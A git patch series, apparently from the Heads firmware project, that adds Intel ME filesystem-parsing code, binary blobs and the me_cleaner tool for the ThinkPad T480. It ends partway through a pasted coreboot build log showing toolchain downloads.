return self.num_files + + def getFile(self, id): + if id >= 0 and id <= self.num_files: + return self.files[id] + return None + + def iterateFiles(self): + for id in range(self.num_files): + if self.files[id]: + yield self.files[id] + + def removeFile(self, id): + if id < 0 or id > self.num_files: + return + file = self.files[id] + if file is None: + return + self.files[id] = None + chain = self.file_ids[id] + self.file_ids[id] = 0 + while chain > MFS.CHUNK_SIZE: + next_chain = self.data_ids[chain - self.num_files] + self.data_ids[chain - self.num_files] = 0 + chain = next_chain + + def addFile(self, id, data, optimize=True): + self.removeFile(id) + file = MFSFile(id) + size = len(data) + data_chain = [] + for offset in range(0, size, MFS.CHUNK_SIZE): + if optimize: + chain = self.getNextFreeDataChunk() + else: + chain = self.getLastFreeDataChunk() + if chain == -1: + # If not enough space, free previously set chains + for chain in data_chain: + self.data_ids[chain] = 0 + return False + file.addData(self.total_chunks + chain, data[offset:offset+MFS.CHUNK_SIZE]) + if len(data_chain) > 0: + self.data_ids[data_chain[-1]] = chain + self.num_files + data_chain.append(chain) + self.data_ids[chain] = size - offset + if len(data_chain) > 0: + self.file_ids[id] = data_chain[0] + self.num_files + else: + # Empty file + self.file_ids[id] = 0xFFFF + self.files[id] = file + + def getNextFreeDataChunk(self): + for i, chain in enumerate(self.data_ids): + if chain == 0: + return i + return -1 + + def getLastFreeDataChunk(self): + for i, chain in reversed(list(enumerate(self.data_ids))): + if chain == 0: + return i + return -1 + + def generate(self): + data = self.SYSTEM_VOLUME_HEADER_FMT.pack(self.signature, self.version, self.capacity, self.num_files) + \ + struct.pack("<%dH" % self.num_files, *self.file_ids) + \ + struct.pack("<%dH" % len (self.data_ids), *self.data_ids) + total_data_size = (len(data) + MFS.CHUNK_SIZE - 1) & ~(MFS.CHUNK_SIZE - 1) + self.data = data.ljust(total_data_size, b'\0') + + def generateChunks(self): + self.generate() + empty_data = b'\0' * MFS.CHUNK_SIZE + chunks = [] + for offset in range(0, len(self.data), MFS.CHUNK_SIZE): + data = self.data[offset:offset + MFS.CHUNK_SIZE] + if data == empty_data: + continue + chunk = MFSChunk(data, offset // MFS.CHUNK_SIZE, False) + chunks.append(chunk) + return chunks + + def _listDirRecursive(self, file, integrity, prefix): + for dirent in file.decodeDir(integrity): + # Skip relative references + if dirent.name == "." or dirent.name == "..": + continue + # Absolute path to this file + path = prefix + "/" + dirent.name + file = self.getFile(dirent.id()) + # Yield field itself + yield path, file.decodeData(dirent.integrity()) + # Recursively yield entries if it is a subdirectory + if dirent.directory(): + yield from self._listDirRecursive(file, dirent.integrity(), prefix=path) + + def listDir(self, id, integrity, prefix): + file = self.getFile(id) + # Yield the root itself + yield prefix, file.decodeData(integrity) + # List its subdirectories + yield from self._listDirRecursive(file, integrity, prefix) + + def __str__(self): + res = f"Total of {self.num_files} file entries\n" + for i, f in enumerate(self.files): + if f: + res += f"{i}: {f}\n" + return res + +DIRECTORY_ENTRY_SIZE = 24 +INTEGRITY_BLOB_SIZE = 52 + +class MFSFile(object): + def __init__(self, id): + self.id = id + self.chain = [] + self.data = b"" + + def addChunk(self, chunk, size): + self.chain.append(chunk.id) + self.data = self.data + chunk.data[:size] + + def addData(self, id, data): + self.chain.append(id) + self.data = self.data + data + + def generateChunks(self): + chunks = [] + for i, chain in enumerate(self.chain): + data = self.data[i * MFS.CHUNK_SIZE:(i + 1) * MFS.CHUNK_SIZE] + data = data.ljust(MFS.CHUNK_SIZE, b'\0') + chunk = MFSChunk(data, chain, False) + chunks.append(chunk) + return chunks + + def decodeData(self, integrity): + if integrity: + return self.data[:-INTEGRITY_BLOB_SIZE] + return self.data + + def decodeDir(self, integrity): + data = self.decodeData(integrity) + # Decode directory entries + for i in range(0, len(data), DIRECTORY_ENTRY_SIZE): + yield MFSDirectoryEntry(data[i:i + DIRECTORY_ENTRY_SIZE]) + + def __str__(self): + return f"File {self.id} has {len(self.data)} bytes (Chain: {self.chain})" + +class MFSDirectoryEntry: + FILE = 0 + DIR = 1 + + def __init__(self, data): + self.fileno, self.mode, self.uid, self.gid, self.salt, self.name = \ + struct.unpack("*0*Nz!8Ca^?_b zye_(S*LBewU=qXvYHeWfYvTZEVP{}aPyjLbfS8fNK|_e$;XejoVEX@G*c+q_6Ce~% z*}%ZT#lSLQgS&&up@WLQ8xrIh7(4_R9Dp>-ML`B;E+L?Hc?Rw+20(ia8CZa{F_2~h z(y~CB@vi}c&KyGqpKS&VtUx}(usV z?Hdh&K@$R_{eR+mYoq;t;=*ZE73m=`XbOW-hm3~6Xb6mkz-S1JhQMeD&?N*0y8jOV DMy`QA literal 0 HcmV?d00001 diff --git a/blobs/t480/ifd_16.bin b/blobs/t480/ifd_16.bin new file mode 100644 index 0000000000000000000000000000000000000000..cdeaee4a484065cb6ab65e22c9d28d63117a1ddc GIT binary patch literal 4096 zcmeH~u}T9$5QhJ~&0!M6oW#Hhf-9KDDk|27z>&sA@EWmD@Bz|TSS6Lcl}})4En14; zWB3S35wST~|G7JYM>J)SxO4n7+|2IG?swH$TeQ>rQB9+SvKMq(dKbm2wI4X!+v=P@ zJU+d?Ne#3$Wx1!W6g=2Iev$3}^vHmTq*>lmde6gvV?fE^@5aPbPBV9RR4inRdQ55$ zxXfELc0dw9nKD$HI-meQ^(*wU^P~ajJST-KmTyN@`cwj6{u-Y-pk=XtRI3o}5b-e47h z&~fGnI0BA= 11) the ME subsystem and the firmware +structure have changed, requiring substantial changes in _me\_cleaner_. +The fundamental modules required for the correct boot are now four (`rbe`, +`kernel`, `syslib` and `bup`) and the minimum code size is ~300 kB of compressed +code (from the 2 MB of the non-AMT firmware and the 7 MB of the AMT one). + +On some boards the OEM firmware fails to boot without a valid Intel ME firmware; +in the other cases the system should work with minor inconveniences (like longer +boot times or warning messages) or without issues at all. + +Obviously, the features provided by Intel ME won't be functional anymore after +the modifications. + +## Documentation + +The detailed documentation about the working of _me\_cleaner_ can be found on +the page ["How does it work?" page]( +https://github.com/corna/me_cleaner/wiki/How-does-it-work%3F). + +Various guides and tutorials are available on the Internet, however a good +starting point is the ["How to apply me_cleaner" guide]( +https://github.com/corna/me_cleaner/wiki/How-to-apply-me_cleaner). diff --git a/blobs/t480/me_cleaner/description.md b/blobs/t480/me_cleaner/description.md new file mode 100644 index 000000000..d5de2d5c5 --- /dev/null +++ b/blobs/t480/me_cleaner/description.md @@ -0,0 +1,2 @@ +__[me_cleaner](https://github.com/corna/me_cleaner)__ - Tool for +partial deblobbing of Intel ME/TXE firmware images `Python` diff --git a/blobs/t480/me_cleaner/man/me_cleaner.1 b/blobs/t480/me_cleaner/man/me_cleaner.1 new file mode 100644 index 000000000..8edd22627 --- /dev/null +++ b/blobs/t480/me_cleaner/man/me_cleaner.1 @@ -0,0 +1,157 @@ +.TH me_cleaner 1 "JUNE 2018" +.SH me_cleaner +.PP +me_cleaner \- Tool for partial deblobbing of Intel ME/TXE firmware images +.SH SYNOPSIS +.PP +\fB\fCme_cleaner.py\fR [\-h] [\-v] [\-O output_file] [\-S | \-s] [\-r] [\-k] +[\-w whitelist | \-b blacklist] [\-d] [\-t] [\-c] [\-D output_descriptor] +[\-M output_me_image] \fIfile\fP +.SH DESCRIPTION +.PP +\fB\fCme_cleaner\fR is a tool able to disable parts of Intel ME/TXE by: +.RS +.IP \(bu 2 +removing most of the code from its firmware +.IP \(bu 2 +setting a special bit to force it to disable itself after the hardware +initialization +.RE +.PP +Using both the modes seems to be the most reliable way on many platforms. +.PP +The resulting modified firmware needs to be flashed (in most of the cases) with +an external programmer, often a dedicated SPI programmer or a Linux board with +a SPI master interface. +.PP +\fB\fCme_cleaner\fR works at least from Nehalem to Coffee Lake (for Intel ME) and on +Braswell/Cherry Trail (for Intel TXE), but may work as well on newer or +different architectures. +.PP +While \fB\fCme_cleaner\fR have been tested on a great number of platforms, fiddling +with the Intel ME/TXE firmware is \fIvery dangerous\fP and can easily lead to a +dead PC. +.PP +\fIYOU HAVE BEEN WARNED.\fP +.SH POSITIONAL ARGUMENTS +.TP +\fB\fCfile\fR +ME/TXE image or full dump. +.SH OPTIONAL ARGUMENTS +.TP +\fB\fC\-h\fR, \fB\fC\-\-help\fR +Show the help message and exit. +.TP +\fB\fC\-v\fR, \fB\fC\-\-version\fR +Show program's version number and exit. +.TP +\fB\fC\-O\fR, \fB\fC\-\-output\fR +Save the modified image in a separate file, instead of modifying the +original file. +.TP +\fB\fC\-S\fR, \fB\fC\-\-soft\-disable\fR +In addition to the usual operations on the ME/TXE firmware, set the +MeAltDisable bit or the HAP bit to ask Intel ME/TXE to disable itself after +the hardware initialization (requires a full dump). +.TP +\fB\fC\-s\fR, \fB\fC\-\-soft\-disable\-only\fR +Instead of the usual operations on the ME/TXE firmware, just set the +MeAltDisable bit or the HAP bit to ask Intel ME/TXE to disable itself after +the hardware initialization (requires a full dump). +.TP +\fB\fC\-r\fR, \fB\fC\-\-relocate\fR +Relocate the FTPR partition to the top of the ME region to save even more +space. +.TP +\fB\fC\-t\fR, \fB\fC\-\-truncate\fR +Truncate the empty part of the firmware (requires a separated ME/TXE image or +\fB\fC\-\-extract\-me\fR). +.TP +\fB\fC\-k\fR, \fB\fC\-\-keep\-modules\fR +Don't remove the FTPR modules, even when possible. +.TP +\fB\fC\-w\fR, \fB\fC\-\-whitelist\fR +Comma separated list of additional partitions to keep in the final image. +This can be used to specify the MFS partition for example, which stores PCIe +and clock settings. +.TP +\fB\fC\-b\fR, \fB\fC\-\-blacklist\fR +Comma separated list of partitions to remove from the image. This option +overrides the default removal list. +.TP +\fB\fC\-d\fR, \fB\fC\-\-descriptor\fR +Remove the ME/TXE Read/Write permissions to the other regions on the flash +from the Intel Flash Descriptor (requires a full dump). +.TP +\fB\fC\-D\fR, \fB\fC\-\-extract\-descriptor\fR +Extract the flash descriptor from a full dump; when used with \fB\fC\-\-truncate\fR +save a descriptor with adjusted regions start and end. +.TP +\fB\fC\-M\fR, \fB\fC\-\-extract\-me\fR +Extract the ME firmware from a full dump; when used with \fB\fC\-\-truncate\fR save a +truncated ME/TXE image. +.TP +\fB\fC\-c\fR, \fB\fC\-\-check\fR +Verify the integrity of the fundamental parts of the firmware and exit. +.SH SUPPORTED PLATFORMS +.PP +Currently \fB\fCme_cleaner\fR has been tested on the following platforms: +.TS +allbox; +cb cb cb cb +c c c c +c c c c +c c c c +c c c c +c c c c +c c c c +c c c c +c c c c +. +PCH CPU ME SKU +Ibex Peak Nehalem/Westmere 6.0 Ignition +Ibex Peak Nehalem/Westmere 6.x 1.5/5 MB +Cougar Point Sandy Bridge 7.x 1.5/5 MB +Panther Point Ivy Bridge 8.x 1.5/5 MB +Lynx/Wildcat Point Haswell/Broadwell 9.x 1.5/5 MB +Wildcat Point LP Broadwell Mobile 10.0 1.5/5 MB +Sunrise Point Skylake/Kabylake 11.x CON/COR +Union Point Kabylake 11.x CON/COR +.TE +.TS +allbox; +cb cb cb +c c c +. +SoC TXE SKU +Braswell/Cherry Trail 2.x 1.375 MB +.TE +.PP +All the reports are available on the project's GitHub page \[la]https://github.com/corna/me_cleaner/issues/3\[ra]\&. +.SH EXAMPLES +.PP +Check whether the provided image has a valid structure and signature: +.IP +\fB\fCme_cleaner.py \-c dumped_firmware.bin\fR +.PP +Remove most of the Intel ME firmware modules but don't set the HAP/AltMeDisable +bit: +.IP +\fB\fCme_cleaner.py \-S \-O modified_me_firmware.bin dumped_firmware.bin\fR +.PP +Remove most of the Intel ME firmware modules and set the HAP/AltMeDisable bit, +disable the Read/Write access of Intel ME to the other flash region, then +relocate the code to the top of the image and truncate it, extracting a modified +descriptor and ME image: +.IP +\fB\fCme_cleaner.py \-S \-r \-t \-d \-D ifd_shrinked.bin \-M me_shrinked.bin \-O modified_firmware.bin full_dumped_firmware.bin\fR +.SH BUGS +.PP +Bugs should be reported on the project's GitHub page \[la]https://github.com/corna/me_cleaner\[ra]\&. +.SH AUTHOR +.PP +Nicola Corna \[la]nicola@corna.info\[ra] +.SH SEE ALSO +.PP +.BR flashrom (8), +me_cleaner's Wiki \[la]https://github.com/corna/me_cleaner/wiki\[ra] diff --git a/blobs/t480/me_cleaner/me_cleaner.py b/blobs/t480/me_cleaner/me_cleaner.py new file mode 100755 index 000000000..fae5e5673 --- /dev/null +++ b/blobs/t480/me_cleaner/me_cleaner.py @@ -0,0 +1,884 @@ +#!/usr/bin/env python +# me_cleaner - Tool for partial deblobbing of Intel ME/TXE firmware images +# SPDX-License-Identifier: GPL-3.0-or-later + +from __future__ import division, print_function + +import argparse +import binascii +import hashlib +import itertools +import shutil +import sys +from struct import pack, unpack + + +min_ftpr_offset = 0x400 +spared_blocks = 4 +unremovable_modules = ("ROMP", "BUP") +unremovable_modules_me11 = ("rbe", "kernel", "syslib", "bup") +unremovable_partitions = ("FTPR",) + +pubkeys_md5 = { + "763e59ebe235e45a197a5b1a378dfa04": ("ME", ("6.x.x.x",)), + "3a98c847d609c253e145bd36512629cb": ("ME", ("6.0.50.x",)), + "0903fc25b0f6bed8c4ed724aca02124c": ("ME", ("7.x.x.x", "8.x.x.x")), + "2011ae6df87c40fba09e3f20459b1ce0": ("ME", ("9.0.x.x", "9.1.x.x")), + "e8427c5691cf8b56bc5cdd82746957ed": ("ME", ("9.5.x.x", "10.x.x.x")), + "986a78e481f185f7d54e4af06eb413f6": ("ME", ("11.x.x.x",)), + "bda0b6bb8ca0bf0cac55ac4c4d55e0f2": ("TXE", ("1.x.x.x",)), + "b726a2ab9cd59d4e62fe2bead7cf6997": ("TXE", ("1.x.x.x",)), + "0633d7f951a3e7968ae7460861be9cfb": ("TXE", ("2.x.x.x",)), + "1d0a36e9f5881540d8e4b382c6612ed8": ("TXE", ("3.x.x.x",)), + "be900fef868f770d266b1fc67e887e69": ("SPS", ("2.x.x.x",)), + "4622e3f2cb212a89c90a4de3336d88d2": ("SPS", ("3.x.x.x",)), + "31ef3d950eac99d18e187375c0764ca4": ("SPS", ("4.x.x.x",)) +} + + +class OutOfRegionException(Exception): + pass + + +class RegionFile: + def __init__(self, f, region_start, region_end): + self.f = f + self.region_start = region_start + self.region_end = region_end + + def read(self, n): + if f.tell() + n <= self.region_end: + return self.f.read(n) + else: + raise OutOfRegionException() + + def readinto(self, b): + if f.tell() + len(b) <= self.region_end: + return self.f.readinto(b) + else: + raise OutOfRegionException() + + def seek(self, offset): + if self.region_start + offset <= self.region_end: + return self.f.seek(self.region_start + offset) + else: + raise OutOfRegionException() + + def write_to(self, offset, data): + if self.region_start + offset + len(data) <= self.region_end: + self.f.seek(self.region_start + offset) + return self.f.write(data) + else: + raise OutOfRegionException() + + def fill_range(self, start, end, fill): + if self.region_start + end <= self.region_end: + if start < end: + block = fill * 4096 + self.f.seek(self.region_start + start) + self.f.writelines(itertools.repeat(block, + (end - start) // 4096)) + self.f.write(block[:(end - start) % 4096]) + else: + raise OutOfRegionException() + + def fill_all(self, fill): + self.fill_range(0, self.region_end - self.region_start, fill) + + def move_range(self, offset_from, size, offset_to, fill): + if self.region_start + offset_from + size <= self.region_end and \ + self.region_start + offset_to + size <= self.region_end: + for i in range(0, size, 4096): + self.f.seek(self.region_start + offset_from + i, 0) + block = self.f.read(min(size - i, 4096)) + self.f.seek(self.region_start + offset_from + i, 0) + self.f.write(fill * len(block)) + self.f.seek(self.region_start + offset_to + i, 0) + self.f.write(block) + else: + raise OutOfRegionException() + + def save(self, filename, size): + if self.region_start + size <= self.region_end: + self.f.seek(self.region_start) + copyf = open(filename, "w+b") + for i in range(0, size, 4096): + copyf.write(self.f.read(min(size - i, 4096))) + return copyf + else: + raise OutOfRegionException() + + +def get_chunks_offsets(llut): + chunk_count = unpack("> 4) & 7 + + print(" {:<16} ({:<7}, ".format(name, comp_str[comp_type]), end="") + + if comp_type == 0x00 or comp_type == 0x02: + print("0x{:06x} - 0x{:06x} ): " + .format(offset, offset + size), end="") + + if name in unremovable_modules: + end_addr = max(end_addr, offset + size) + print("NOT removed, essential") + else: + end = min(offset + size, me_end) + f.fill_range(offset, end, b"\xff") + print("removed") + + elif comp_type == 0x01: + if not chunks_offsets: + f.seek(offset) + llut = f.read(4) + if llut == b"LLUT": + llut += f.read(0x3c) + + chunk_count = unpack(" removable_chunk[0]: + end = min(removable_chunk[1], me_end) + f.fill_range(removable_chunk[0], end, b"\xff") + + end_addr = max(end_addr, + max(unremovable_huff_chunks, key=lambda x: x[1])[1]) + + return end_addr + + +def check_partition_signature(f, offset): + f.seek(offset) + header = f.read(0x80) + modulus = int(binascii.hexlify(f.read(0x100)[::-1]), 16) + public_exponent = unpack("> 4) & 7 == 0x01: + llut_start = unpack("> 25 + + modules.append((name, offset, comp_type)) + + modules.sort(key=lambda x: x[1]) + + for i in range(0, module_count): + name = modules[i][0] + offset = partition_offset + modules[i][1] + end = partition_offset + modules[i + 1][1] + removed = False + + if name.endswith(".man") or name.endswith(".met"): + compression = "uncompressed" + else: + compression = comp_str[modules[i][2]] + + print(" {:<12} ({:<12}, 0x{:06x} - 0x{:06x}): " + .format(name, compression, offset, end), end="") + + if name.endswith(".man"): + print("NOT removed, partition manif.") + elif name.endswith(".met"): + print("NOT removed, module metadata") + elif any(name.startswith(m) for m in unremovable_modules_me11): + print("NOT removed, essential") + else: + removed = True + f.fill_range(offset, min(end, me_end), b"\xff") + print("removed") + + if not removed: + end_data = max(end_data, end) + + if relocate: + new_offset = relocate_partition(f, me_end, 0x30, min_offset, []) + end_data += new_offset - partition_offset + partition_offset = new_offset + + return end_data, partition_offset + + +def check_mn2_tag(f, offset): + f.seek(offset + 0x1c) + tag = f.read(4) + if tag != b"$MN2": + sys.exit("Wrong FTPR manifest tag ({}), this image may be corrupted" + .format(tag)) + + +def flreg_to_start_end(flreg): + return (flreg & 0x7fff) << 12, (flreg >> 4 & 0x7fff000 | 0xfff) + 1 + + +def start_end_to_flreg(start, end): + return (start & 0x7fff000) >> 12 | ((end - 1) & 0x7fff000) << 4 + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description="Tool to remove as much code " + "as possible from Intel ME/TXE firmware " + "images") + softdis = parser.add_mutually_exclusive_group() + bw_list = parser.add_mutually_exclusive_group() + + parser.add_argument("-v", "--version", action="version", + version="%(prog)s 1.2") + + parser.add_argument("file", help="ME/TXE image or full dump") + parser.add_argument("-O", "--output", metavar='output_file', help="save " + "the modified image in a separate file, instead of " + "modifying the original file") + softdis.add_argument("-S", "--soft-disable", help="in addition to the " + "usual operations on the ME/TXE firmware, set the " + "MeAltDisable bit or the HAP bit to ask Intel ME/TXE " + "to disable itself after the hardware initialization " + "(requires a full dump)", action="store_true") + softdis.add_argument("-s", "--soft-disable-only", help="instead of the " + "usual operations on the ME/TXE firmware, just set " + "the MeAltDisable bit or the HAP bit to ask Intel " + "ME/TXE to disable itself after the hardware " + "initialization (requires a full dump)", + action="store_true") + parser.add_argument("-r", "--relocate", help="relocate the FTPR partition " + "to the top of the ME region to save even more space", + action="store_true") + parser.add_argument("-t", "--truncate", help="truncate the empty part of " + "the firmware (requires a separated ME/TXE image or " + "--extract-me)", action="store_true") + parser.add_argument("-k", "--keep-modules", help="don't remove the FTPR " + "modules, even when possible", action="store_true") + bw_list.add_argument("-w", "--whitelist", metavar="whitelist", + help="Comma separated list of additional partitions " + "to keep in the final image. This can be used to " + "specify the MFS partition for example, which stores " + "PCIe and clock settings.") + bw_list.add_argument("-b", "--blacklist", metavar="blacklist", + help="Comma separated list of partitions to remove " + "from the image. This option overrides the default " + "removal list.") + parser.add_argument("-d", "--descriptor", help="remove the ME/TXE " + "Read/Write permissions to the other regions on the " + "flash from the Intel Flash Descriptor (requires a " + "full dump)", action="store_true") + parser.add_argument("-D", "--extract-descriptor", + metavar='output_descriptor', help="extract the flash " + "descriptor from a full dump; when used with " + "--truncate save a descriptor with adjusted regions " + "start and end") + parser.add_argument("-M", "--extract-me", metavar='output_me_image', + help="extract the ME firmware from a full dump; when " + "used with --truncate save a truncated ME/TXE image") + parser.add_argument("-c", "--check", help="verify the integrity of the " + "fundamental parts of the firmware and exit", + action="store_true") + + args = parser.parse_args() + + if args.check and (args.soft_disable_only or args.soft_disable or + args.relocate or args.descriptor or args.truncate or args.output): + sys.exit("-c can't be used with -S, -s, -r, -d, -t or -O") + + if args.soft_disable_only and (args.relocate or args.truncate): + sys.exit("-s can't be used with -r or -t") + + if (args.whitelist or args.blacklist) and args.relocate: + sys.exit("Relocation is not yet supported with custom whitelist or " + "blacklist") + + f = open(args.file, "rb" if args.check or args.output else "r+b") + f.seek(0x10) + magic = f.read(4) + + if magic == b"$FPT": + print("ME/TXE image detected") + + if args.descriptor or args.extract_descriptor or args.extract_me or \ + args.soft_disable or args.soft_disable_only: + sys.exit("-d, -D, -M, -S and -s require a full dump") + + f.seek(0, 2) + me_start = 0 + me_end = f.tell() + mef = RegionFile(f, me_start, me_end) + + elif magic == b"\x5a\xa5\xf0\x0f": + print("Full image detected") + + if args.truncate and not args.extract_me: + sys.exit("-t requires a separated ME/TXE image (or --extract-me)") + + f.seek(0x14) + flmap0, flmap1 = unpack("> 12 & 0xff0 + fmba = (flmap1 & 0xff) << 4 + fpsba = flmap1 >> 12 & 0xff0 + + f.seek(frba) + flreg = unpack("= me_end: + sys.exit("The ME/TXE region in this image has been disabled") + + mef = RegionFile(f, me_start, me_end) + + mef.seek(0x10) + if mef.read(4) != b"$FPT": + sys.exit("The ME/TXE region is corrupted or missing") + + print("The ME/TXE region goes from {:#x} to {:#x}" + .format(me_start, me_end)) + else: + sys.exit("Unknown image") + + end_addr = me_end + + print("Found FPT header at {:#x}".format(mef.region_start + 0x10)) + + mef.seek(0x14) + entries = unpack("= 0: + check_mn2_tag(mef, ftpr_offset + ftpr_mn2_offset) + print("Found FTPR manifest at {:#x}" + .format(ftpr_offset + ftpr_mn2_offset)) + else: + sys.exit("Can't find the manifest of the FTPR partition") + + else: + check_mn2_tag(mef, ftpr_offset) + me11 = False + ftpr_mn2_offset = 0 + + mef.seek(ftpr_offset + ftpr_mn2_offset + 0x24) + version = unpack("= 6: + variant = "ME" + else: + variant = "TXE" + print("WARNING Unknown public key {}\n" + " Assuming Intel {}\n" + " Please report this warning to the project's maintainer!" + .format(pubkey_md5, variant)) + + if not args.check and args.output: + f.close() + shutil.copy(args.file, args.output) + f = open(args.output, "r+b") + + mef = RegionFile(f, me_start, me_end) + + if me_start > 0: + fdf = RegionFile(f, fd_start, fd_end) + + if me11: + fdf.seek(fpsba) + pchstrp0 = unpack(" me_end: + print(" {:<4} ({:^24}, 0x{:08x} total bytes): nothing to " + "remove" + .format(part_name, "no data here", part_length)) + else: + print(" {:<4} (0x{:08x} - 0x{:09x}, 0x{:08x} total bytes): " + .format(part_name, part_start, part_end, part_length), + end="") + if part_name in whitelist or (blacklist and + part_name not in blacklist): + unremovable_part_fpt += partition + if part_name != "FTPR": + extra_part_end = max(extra_part_end, part_end) + print("NOT removed") + else: + mef.fill_range(part_start, part_end, b"\xff") + print("removed") + + print("Removing partition entries in FPT...") + mef.write_to(0x30, unremovable_part_fpt) + mef.write_to(0x14, + pack("= 11 (except for + # 0x1b, the checksum itself). In other words, the sum of those + # bytes must be always 0x00. + mef.write_to(0x1b, pack("B", checksum)) + + print("Reading FTPR modules list...") + if me11: + end_addr, ftpr_offset = \ + check_and_remove_modules_me11(mef, me_end, + ftpr_offset, ftpr_length, + min_ftpr_offset, + args.relocate, + args.keep_modules) + else: + end_addr, ftpr_offset = \ + check_and_remove_modules(mef, me_end, ftpr_offset, + min_ftpr_offset, args.relocate, + args.keep_modules) + + if end_addr > 0: + end_addr = max(end_addr, extra_part_end) + end_addr = (end_addr // 0x1000 + 1) * 0x1000 + end_addr += spared_blocks * 0x1000 + + print("The ME minimum size should be {0} bytes " + "({0:#x} bytes)".format(end_addr)) + + if me_start > 0: + print("The ME region can be reduced up to:\n" + " {:08x}:{:08x} me" + .format(me_start, me_start + end_addr - 1)) + elif args.truncate: + print("Truncating file at {:#x}...".format(end_addr)) + f.truncate(end_addr) + + if args.soft_disable or args.soft_disable_only: + if me11: + print("Setting the HAP bit in PCHSTRP0 to disable Intel ME...") + pchstrp0 |= (1 << 16) + fdf.write_to(fpsba, pack(" {:08x}:{:08x} me" + .format(me_start, me_end - 1, + me_start, me_start + end_addr - 1)) + print(" {:08x}:{:08x} bios --> {:08x}:{:08x} bios" + .format(bios_start, bios_end - 1, + me_start + end_addr, bios_end - 1)) + + flreg1 = start_end_to_flreg(me_start + end_addr, bios_end) + flreg2 = start_end_to_flreg(me_start, me_start + end_addr) + + fdf_copy.seek(frba + 0x4) + fdf_copy.write(pack(" Date: Tue, 11 Feb 2025 14:46:09 +0100 Subject: [PATCH 07/50] change gbe and ifd_16 files Signed-off-by: Thierry Laurion --- blobs/t480/{gbe.bin => gbe} | Bin blobs/t480/{ifd_16.bin => ifd_16} | Bin 2 files changed, 0 insertions(+), 0 deletions(-) rename blobs/t480/{gbe.bin => gbe} (100%) rename blobs/t480/{ifd_16.bin => ifd_16} (100%) diff --git a/blobs/t480/gbe.bin b/blobs/t480/gbe similarity index 100% rename from blobs/t480/gbe.bin rename to blobs/t480/gbe diff --git a/blobs/t480/ifd_16.bin b/blobs/t480/ifd_16 similarity index 100% rename from blobs/t480/ifd_16.bin rename to blobs/t480/ifd_16 From fd3745c179af986f91112571f0c69bbfbbf44361 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 09:44:45 -0500 Subject: [PATCH 08/50] modules/coreboot: t480; do not reuse 24.02.01 coreboot buildtack, since its not sharing the same coreboot buildstack (something 25.X.X, need to check) Signed-off-by: Thierry Laurion --- modules/coreboot | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/coreboot b/modules/coreboot index 7de21fb43..1aad36d70 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -101,7 +101,7 @@ $(eval $(call coreboot_module,dasharo,24.02.01)) # T480 may or may not need a specific coreboot rev since it may or may not yet be yet included in the release referenced above coreboot-t480_repo := https://review.coreboot.org/coreboot.git coreboot-t480_commit_hash := 2f1e4e5e8515dd350cc9d68b48d32a5b6b02ae6a -$(eval $(call coreboot_module,t480,24.02.01)) +$(eval $(call coreboot_module,t480,)) # Check that the board configured the coreboot version correctly ifeq "$(CONFIG_COREBOOT_VERSION)" "" From 820931bcf7c01ab9efb182d67d36eecf9f63ed02 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 09:50:08 -0500 Subject: [PATCH 09/50] Revert "modules/coreboot: t480; do not reuse 24.02.01 coreboot buildtack, since its not sharing the same coreboot buildstack (something 25.X.X, need to check)" This reverts commit b1f279354388fd8e71abd9f1514246d7e9f6ed1c. Hmmm.... WGET="" bin/fetch_coreboot_crossgcc_archive.sh "/home/user/heads/build/x86/coreboot-t480" "binutils" "/home/user/heads/packages/x86" --2025-02-11 14:46:38-- https://ftpmirror.gnu.org/binutils/binutils-2.43.1.tar.xz Resolving ftpmirror.gnu.org (ftpmirror.gnu.org)... 209.51.188.200, 2001:470:142:5::200 Connecting to ftpmirror.gnu.org (ftpmirror.gnu.org)|209.51.188.200|:443... connected. HTTP request sent, awaiting response... 302 Moved Temporarily Location: https://mirror.csclub.uwaterloo.ca/gnu/binutils/binutils-2.43.1.tar.xz [following] --2025-02-11 14:46:40-- https://mirror.csclub.uwaterloo.ca/gnu/binutils/binutils-2.43.1.tar.xz Resolving mirror.csclub.uwaterloo.ca (mirror.csclub.uwaterloo.ca)... 129.97.134.71, 2620:101:f000:4901:c5c:0:f:1055 Connecting to mirror.csclub.uwaterloo.ca (mirror.csclub.uwaterloo.ca)|129.97.134.71|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 28174300 (27M) [text/plain] Saving to: '/home/user/heads/packages/x86/coreboot-crossgcc-binutils-2.43.1.tar.xz.tmp' /home/user/heads/packages/x86/coreboot-crossgcc-binu 100%[=====================================================================================================================>] 26.87M 8.88MB/s in 3.0s 2025-02-11 14:46:44 (8.88 MB/s) - '/home/user/heads/packages/x86/coreboot-crossgcc-binutils-2.43.1.tar.xz.tmp' saved [28174300/28174300] /home/user/heads/packages/x86/coreboot-crossgcc-binutils-2.43.1.tar.xz.tmp: OK touch "/home/user/heads/build/x86/coreboot-t480/.heads-crossgcc-pkg-binutils" WGET="" bin/fetch_coreboot_crossgcc_archive.sh "/home/user/heads/build/x86/coreboot-t480" "gcc" "/home/user/heads/packages/x86" --2025-02-11 14:46:44-- https://ftpmirror.gnu.org/gcc/gcc-14.2.0/gcc-14.2.0.tar.xz Resolving ftpmirror.gnu.org (ftpmirror.gnu.org)... 209.51.188.200, 2001:470:142:5::200 Connecting to ftpmirror.gnu.org (ftpmirror.gnu.org)|209.51.188.200|:443... connected. HTTP request sent, awaiting response... 302 Moved Temporarily Location: https://mirror2.evolution-host.com/gnu/gcc/gcc-14.2.0/gcc-14.2.0.tar.xz [following] --2025-02-11 14:46:44-- https://mirror2.evolution-host.com/gnu/gcc/gcc-14.2.0/gcc-14.2.0.tar.xz Resolving mirror2.evolution-host.com (mirror2.evolution-host.com)... 167.114.8.249, 2607:5300:60:450d:c259:13f4:6df0:1 Connecting to mirror2.evolution-host.com (mirror2.evolution-host.com)|167.114.8.249|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 92306460 (88M) [application/x-xz] Saving to: '/home/user/heads/packages/x86/coreboot-crossgcc-gcc-14.2.0.tar.xz.tmp' /home/user/heads/packages/x86/coreboot-crossgcc-gcc- 100%[=====================================================================================================================>] 88.03M 32.9MB/s in 2.7s 2025-02-11 14:46:48 (32.9 MB/s) - '/home/user/heads/packages/x86/coreboot-crossgcc-gcc-14.2.0.tar.xz.tmp' saved [92306460/92306460] /home/user/heads/packages/x86/coreboot-crossgcc-gcc-14.2.0.tar.xz.tmp: OK touch 